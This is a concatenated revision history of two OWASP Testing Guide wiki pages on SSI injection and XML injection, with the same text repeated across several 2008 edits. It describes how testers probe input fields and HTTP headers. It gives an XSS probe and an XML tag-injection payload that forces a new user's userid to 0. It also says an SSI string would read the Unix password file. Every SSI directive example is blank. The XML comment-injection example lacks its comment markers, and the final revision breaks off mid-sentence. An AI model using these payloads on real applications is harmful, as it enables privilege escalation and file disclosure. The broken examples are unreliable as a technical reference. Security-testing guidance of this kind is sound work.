* Web Proxy Burp Suite - http://portswigger.net
* Paros - http://www.parosproxy.org/index.shtml
* WebScarab - http://www.owasp.org/index.php/OWASP_WebScarab_Project
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor

{{Category:OWASP Testing Project AoC}}

Testing for SSI Injection (OTG-INPVAL-009)

2008-08-23T06:46:24Z

Marco:

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''Server-Side Includes''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.

== Description of the Issue ==

Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands. 

Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following: 

<pre>

</pre>

to print out the current time. 

<pre>

</pre>

to include the output of a CGI script. 

<pre>

</pre>

to include the content of a file. 

<pre>

</pre>

to include the output of a system command. 

Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands. 

As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could be able to provide an input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives. 

This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands. 

== Black Box testing ==

The first thing to do when testing in a Black Box fashion is finding if the web server actually support SSI directives. The answer is almost certainly a yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classical information gathering techniques. 

Whether we succeded or not in discovering this piece of information, we could guess if SSI are supported just looking at the content of the target web site we are testing: if it makes use of '''''.shtml''''' file then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks. 

Let's go to the next step, which is needed not only to find out if an SSI injection attack is really plausible, but also to identify the input points we can use to inject our malicious code. 

In this step the testing activity is exactly the same needed to test for other code injection vulnerabilities. We need to find every page where the user is allowed to submit some kind of input and verify whether the application is correctly validating the submitted input or, otherwise, if we could provide data that is going to be displayed unmodified (as error message, forum post, etc.). Beside common user supplied data, input vectors that are always to be considered are HTTP request headers and cookies content, that can be easily forged. 

Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where in the web site the data we provided are going to be displayed. We need to make sure that we are going to be able to make characters like that used in SSI directives: 

<pre>
< ! # = / . " - > and [a-zA-Z0-9]
</pre>

go through the application and be parsed by the server at some point. 

Exploiting the lack of validation, is as easy as submitting, for example, a string like the following: 

<pre>

</pre>

in a input form, instead of the classical: 

<pre>
<script>alert("XSS")</script>
</pre>

The directive would be then parsed by the server next time it needs to serve the given page, thus including the content of the Unix standard password file. 

The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page: 

<pre>
GET / HTTP/1.0
Referer: 
User-Agent: 
</pre>

== Gray Box testing and example ==

Being able to review the application source code we can quite easily find out: 
# If SSI directives are used; if they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate; 
# Where user input, cookie content and http headers are handled; the complete input vectors list is then quickly built; 
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through and how many type of encoding are taken into account. 

Performing these steps is mostly a matter of using grep, to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on). 

== References ==
'''Whitepapers''' 
* IIS: "Notes on Server-Side Includes (SSI) syntax" - http://support.microsoft.com/kb/203064 
* Apache Tutorial: "Introduction to Server Side Includes" - http://httpd.apache.org/docs/1.3/howto/ssi.html 
* Apache: "Module mod_include" - http://httpd.apache.org/docs/1.3/mod/mod_include.html 
* Apache: "Security Tips for Server Configuration" - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi 
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt 
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html

'''Tools''' 
* Web Proxy Burp Suite - http://portswigger.net
* Paros - http://www.parosproxy.org/index.shtml
* WebScarab - http://www.owasp.org/index.php/OWASP_WebScarab_Project
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor

{{Category:OWASP Testing Project AoC}}

Testing for SSI Injection (OTG-INPVAL-009)

2008-08-23T06:41:56Z

Marco: /* Brief Summary */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==

Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''Server-Side Includes''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.

== Description of the Issue ==

Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI program or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables and to execute external CGI scripts or system commands. 

Putting an SSI directive into a static html document is as easy as writing a piece of code like the following: 

<pre>

</pre>

to print out the current time. 

<pre>

</pre>

to include the output of a CGI script. 

<pre>

</pre>

to include the content of a file. 

<pre>

</pre>

to include the output of a system command. 

Then, if the web server's SSI support is enabled, the server will parse these directives, both in the body or inside the headers. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands. 

As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that's going to make the application or the web server itself behave in an unforseen manner. Talking about SSI injection, the attacker could be able to provide an input that, if inserted by the application (or maybe directly by te server) into a dynamically generated page would be parsed as SSI directives. 

We are talking about an issue very similar to a classical scripting language injection problem; maybe less dangerous, as the SSI directive are not comparable to a real scripting language and because the web server needs to be configured to allow SSI; but also simpler to exploit, as SSI directives easy to understand and powerful enough to output the content of files and to execute system commands. 

== Black Box testing ==

The first thing to do when testing in a Black Box fashion is finding if the web server actually support SSI directives. The answer is almost certainly a yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classical information gathering techniques. 

Whether we succeded or not in discovering this piece of information, we could guess if SSI are supported just looking at the content of the target web site we are testing: if it makes use of '''''.shtml''''' file then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks. 

Let's go to the next step, which is needed not only to find out if an SSI injection attack is really plausible, but also to identify the input points we can use to inject our malicious code. 

In this step the testing activity is exactly the same needed to test for other code injection vulnerabilities. We need to find every page where the user is allowed to submit some kind of input and verify whether the application is correctly validating the submitted input or, otherwise, if we could provide data that is going to be displayed unmodified (as error message, forum post, etc.). Beside common user supplied data, input vectors that are always to be considered are HTTP request headers and cookies content, that can be easily forged. 

Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where in the web site the data we provided are going to be displayed. We need to make sure that we are going to be able to make characters like that used in SSI directives: 

<pre>
< ! # = / . " - > and [a-zA-Z0-9]
</pre>

go through the application and be parsed by the server at some point. 

Exploiting the lack of validation, is as easy as submitting, for example, a string like the following: 

<pre>

</pre>

in a input form, instead of the classical: 

<pre>
<script>alert("XSS")</script>
</pre>

The directive would be then parsed by the server next time it needs to serve the given page, thus including the content of the Unix standard password file. 

The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page: 

<pre>
GET / HTTP/1.0
Referer: 
User-Agent: 
</pre>

== Gray Box testing and example ==

Being able to review the application source code we can quite easily find out: 
# If SSI directives are used; if they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate; 
# Where user input, cookie content and http headers are handled; the complete input vectors list is then quickly built; 
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through and how many type of encoding are taken into account. 

Performing these steps is mostly a matter of using grep, to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on). 

== References ==
'''Whitepapers''' 
* IIS: "Notes on Server-Side Includes (SSI) syntax" - http://support.microsoft.com/kb/203064 
* Apache Tutorial: "Introduction to Server Side Includes" - http://httpd.apache.org/docs/1.3/howto/ssi.html 
* Apache: "Module mod_include" - http://httpd.apache.org/docs/1.3/mod/mod_include.html 
* Apache: "Security Tips for Server Configuration" - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi 
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt 
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html

'''Tools''' 
* Web Proxy Burp Suite - http://portswigger.net
* Paros - http://www.parosproxy.org/index.shtml
* WebScarab - http://www.owasp.org/index.php/OWASP_WebScarab_Project
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor

{{Category:OWASP Testing Project AoC}}

Testing for XML Injection (OTG-INPVAL-008)

2008-08-23T06:40:15Z

Marco: /* References */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will results positive. 

== Short Description of the Issue ==
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

== Black Box testing and example ==
Let's suppose there is a web application using an XML style communication
in order to perform users registration.
This is done by creating and adding a new <user> node in an xmlDb file.
Let's suppose the xmlDB file is like the following:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users></nowiki>'''

When a user registers himself by filling an HTML form,
the application receives the user's data in a standard request, which,
for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

'''Username: tony'''
'''Password: Un6R34kb!e'''
'''E-mail: s4tan@hell.com'''

will produce the request:

<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>

The application, then, builds the following node:

'''<nowiki><user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

which will be added to the xmlDB:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''
=== Discovery ===
The first step in order to test an application for the presence of a XML Injection
vulnerability consists of trying to insert XML metacharacters. 
XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

'''<node attrib='$inputValue'/>'''

So, if:

'''inputValue = foo''''

is instantiated and then is inserted as the attrib value:

'''<nowiki><node attrib='foo''/></nowiki>'''

then, the resulting XML document is not well formed.

* '''Double quote: " '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.

'''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
'''$inputValue = foo"'''

the substitution gives:

'''<nowiki><node attrib="foo""/></nowiki>'''

and the resulting XML document is invalid.

* '''Angular parenthesis: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:

'''Username = foo<'''

the application will build a new node:

'''<nowiki><user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but, because of the presence of the open '<', the resulting XML document is invalid.

* '''Comment tag: <nowiki></nowiki>''' - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

'''<nowiki>Username = foo<userid>0</userid><mail>s4tan@hell.com'''

In this case, the final XML database is:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''

The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules. 

== References ==
'''Whitepapers''' 
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt 
* Gregory Steuck, "XXE (Xml eXternal Entity) attack", http://www.securityfocus.com/archive/1/297714

{{Category:OWASP Testing Project AoC}}

Testing for XML Injection (OTG-INPVAL-008)

2008-08-23T06:38:59Z

Marco: /* Tag Injection */

Testing for XML Injection (OTG-INPVAL-008)

2008-08-23T06:38:19Z

Marco: /* Tag Injection */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will results positive. 

== Short Description of the Issue ==
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

== Black Box testing and example ==
Let's suppose there is a web application using an XML style communication
in order to perform users registration.
This is done by creating and adding a new <user> node in an xmlDb file.
Let's suppose the xmlDB file is like the following:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users></nowiki>'''

When a user registers himself by filling an HTML form,
the application receives the user's data in a standard request, which,
for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

'''Username: tony'''
'''Password: Un6R34kb!e'''
'''E-mail: s4tan@hell.com'''

will produce the request:

<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>

The application, then, builds the following node:

'''<nowiki><user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

which will be added to the xmlDB:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''
=== Discovery ===
The first step in order to test an application for the presence of a XML Injection
vulnerability consists of trying to insert XML metacharacters. 
XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

'''<node attrib='$inputValue'/>'''

So, if:

'''inputValue = foo''''

is instantiated and then is inserted as the attrib value:

'''<nowiki><node attrib='foo''/></nowiki>'''

then, the resulting XML document is not well formed.

* '''Double quote: " '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.

'''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
'''$inputValue = foo"'''

the substitution gives:

'''<nowiki><node attrib="foo""/></nowiki>'''

and the resulting XML document is invalid.

* '''Angular parenthesis: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:

'''Username = foo<'''

the application will build a new node:

'''<nowiki><user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but, because of the presence of the open '<', the resulting XML document is invalid.

* '''Comment tag: <nowiki></nowiki>''' - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

'''<nowiki>Username = foo<userid>0</userid><mail>s4tan@hell.com'''

In this case, the final XML database is:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''

The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules. 

== References ==
'''Whitepapers''' 
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt 

{{Category:OWASP Testing Project AoC}}

Testing for XML Injection (OTG-INPVAL-008)

2008-08-23T06:35:54Z

Marco: /* Tag Injection */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will results positive. 

== Short Description of the Issue ==
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

== Black Box testing and example ==
Let's suppose there is a web application using an XML style communication
in order to perform users registration.
This is done by creating and adding a new <user> node in an xmlDb file.
Let's suppose the xmlDB file is like the following:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users></nowiki>'''

When a user registers himself by filling an HTML form,
the application receives the user's data in a standard request, which,
for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

'''Username: tony'''
'''Password: Un6R34kb!e'''
'''E-mail: s4tan@hell.com'''

will produce the request:

<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>

The application, then, builds the following node:

'''<nowiki><user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

which will be added to the xmlDB:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''
=== Discovery ===
The first step in order to test an application for the presence of a XML Injection
vulnerability consists of trying to insert XML metacharacters. 
XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

'''<node attrib='$inputValue'/>'''

So, if:

'''inputValue = foo''''

is instantiated and then is inserted as the attrib value:

'''<nowiki><node attrib='foo''/></nowiki>'''

then, the resulting XML document is not well formed.

* '''Double quote: " '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.

'''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
'''$inputValue = foo"'''

the substitution gives:

'''<nowiki><node attrib="foo""/></nowiki>'''

and the resulting XML document is invalid.

* '''Angular parenthesis: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:

'''Username = foo<'''

the application will build a new node:

'''<nowiki><user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but, because of the presence of the open '<', the resulting XML document is invalid.

* '''Comment tag: <nowiki></nowiki>''' - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

'''<nowiki>Username = foo<userid>0</userid><mail>s4tan@hell.com'''

In this case, the final XML database is:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''

The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules. 

== References ==
'''Whitepapers''' 
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt 

{{Category:OWASP Testing Project AoC}}

Testing for XML Injection (OTG-INPVAL-008)

2008-08-23T06:33:27Z

Marco:

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will results positive. 

== Short Description of the Issue ==
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

== Black Box testing and example ==
Let's suppose there is a web application using an XML style communication
in order to perform users registration.
This is done by creating and adding a new <user> node in an xmlDb file.
Let's suppose the xmlDB file is like the following:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users></nowiki>'''

When a user registers himself by filling an HTML form,
the application receives the user's data in a standard request, which,
for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

'''Username: tony'''
'''Password: Un6R34kb!e'''
'''E-mail: s4tan@hell.com'''

will produce the request:

<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>

The application, then, builds the following node:

'''<nowiki><user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

which will be added to the xmlDB:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''
=== Discovery ===
The first step in order to test an application for the presence of a XML Injection
vulnerability consists of trying to insert XML metacharacters. 
XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

'''<node attrib='$inputValue'/>'''

So, if:

'''inputValue = foo''''

is instantiated and then is inserted as the attrib value:

'''<nowiki><node attrib='foo''/></nowiki>'''

then, the resulting XML document is not well formed.

* '''Double quote: " '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.

'''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
'''$inputValue = foo"'''

the substitution gives:

'''<nowiki><node attrib="foo""/></nowiki>'''

and the resulting XML document is invalid.

* '''Angular parenthesis: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:

'''Username = foo<'''

the application will build a new node:

'''<nowiki><user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but, because of the presence of the open '<', the resulting XML document is invalid.

* '''Comment tag: <nowiki></nowiki>''' - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

'''<nowiki>Username = foo<userid>0</userid><mail>s4tan@hell.com'''

In this case, the final XML database is:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><userid>0</userid><mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''

The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules. 

== References ==
'''Whitepapers''' 
* [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt 

{{Category:OWASP Testing Project AoC}}

Testing for XML Injection (OTG-INPVAL-008)

2008-08-23T06:22:49Z

Marco: clarify xxe attacks

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will results positive. 

== Short Description of the Issue ==
In this section, we describe a practical example of XML Injection: first, we define an XML style communication and we show how it works. Then, we describe the discovery method in which we try to insert XML metacharacters.
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).

== Black Box testing and example ==
Let's suppose there is a web application using an XML style communication
in order to perform users registration.
This is done by creating and adding a new <user> node in an xmlDb file.
Let's suppose the xmlDB file is like the following:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
</users></nowiki>'''

When a user registers himself by filling an HTML form,
the application receives the user's data in a standard request, which,
for the sake of simplicity, will be supposed to be sent as a GET request.

For example, the following values:

'''Username: tony'''
'''Password: Un6R34kb!e'''
'''E-mail: s4tan@hell.com'''

will produce the request:

<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki>

The application, then, builds the following node:

'''<nowiki><user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

which will be added to the xmlDB:

'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users></nowiki>'''
=== Discovery ===
The first step in order to test an application for the presence of a XML Injection
vulnerability consists of trying to insert XML metacharacters. 
XML metacharacters are:
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
As an example, let's suppose there is the following attribute:

'''<node attrib='$inputValue'/>'''

So, if:

'''inputValue = foo''''

is instantiated and then is inserted as the attrib value:

'''<nowiki><node attrib='foo''/></nowiki>'''

then, the resulting XML document is not well formed.

* '''Double quote: " '''- this character has the same means of double quotes and it could be used in case the attribute value is enclosed in double quotes.

'''<nowiki><node attrib="$inputValue"/></nowiki>'''

So if:
'''$inputValue = foo"'''

the substitution gives:

'''<nowiki><node attrib="foo""/></nowiki>'''

and the resulting XML document is invalid.

* '''Angular parenthesis: > and <''' - By adding an open or closed angular parenthesis in a user input like the following:

'''Username = foo<'''

the application will build a new node:

'''<nowiki><user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user></nowiki>'''

but, because of the presence of the open '<', the resulting XML document is invalid.

* '''Comment tag: <nowiki></nowiki>''' - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of them in Username parameter:

'''<nowiki>Username = foo<userid>0</userid><mail>s4tan@hell.com'''

xml database file will be :

